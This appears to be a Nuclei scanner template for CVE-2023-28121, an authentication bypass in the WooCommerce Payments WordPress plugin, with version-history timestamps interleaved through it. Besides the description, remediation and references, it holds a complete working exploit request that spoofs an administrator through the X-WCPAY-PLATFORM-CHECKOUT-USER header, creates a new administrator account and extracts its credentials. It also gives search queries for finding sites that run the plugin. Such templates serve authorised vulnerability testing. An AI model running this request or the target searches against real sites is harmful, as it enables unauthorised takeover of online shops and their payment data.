2023-07-03 18:15:00 +00:00
id : CVE-2023-28121
info :
name : WooCommerce Payments - Unauthorized Admin Access
author : DhiyaneshDK
severity : critical
description : |
An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.
2023-09-06 11:43:37 +00:00
remediation : |
Update to the latest version of the WooCommerce Payments plugin to fix the vulnerability.
2023-07-03 18:15:00 +00:00
reference :
- https://github.com/gbrsh/CVE-2023-28121
- https://nvd.nist.gov/vuln/detail/CVE-2023-28121
- https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
- https://woocommerce.com/products/woocommerce-payments/
2023-07-11 19:49:27 +00:00
- https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
2023-07-03 18:15:00 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-28121
2023-07-11 19:49:27 +00:00
cwe-id : CWE-287
2023-10-18 16:26:30 +00:00
epss-score : 0.75551
2023-11-09 06:04:52 +00:00
epss-percentile : 0.97847
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:automattic:woocommerce_payments:*:*:*:*:*:wordpress:*:*
2023-07-03 18:15:00 +00:00
metadata :
verified : true
2023-09-06 11:43:37 +00:00
max-request : 1
2023-07-03 18:15:00 +00:00
vendor : automattic
product : woocommerce_payments
framework : wordpress
2023-09-06 11:43:37 +00:00
publicwww-query : /wp-content/plugins/woocommerce-payments
google-query : inurl:/wp-content/plugins/woocommerce-payments
2023-07-03 18:15:00 +00:00
tags : cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,intrusive
variables :
username : "{{rand_base(6)}}"
password : "{{rand_base(8)}}"
email : "{{randstr}}@{{rand_base(5)}}.com"
http :
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
X-WCPAY-PLATFORM-CHECKOUT-USER : 1
Content-Type : application/x-www-form-urlencoded
rest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator
matchers-condition : and
matchers :
- type : word
part : body
words :
- '"registered_date":'
- '"username":'
- '"email":'
condition : and
- type : word
part : header
words :
- application/json
- type : status
status :
- 201
extractors :
- type : dsl
dsl :
- '"WP_USERNAME: "+ username'
2023-07-11 19:49:27 +00:00
- '"WP_PASSWORD: "+ password'
2023-11-09 08:56:13 +00:00
# digest: 4a0a004730450220300a99ad187f490379036ad1df4cafd618a19a1e6435fa347944fca6bda4a1a1022100c40248868a7d8c6cedce38d42914d9ee38f39f2278543c5c0797e3df0cf38e38:922c64590222798bb761d5b6d8e72950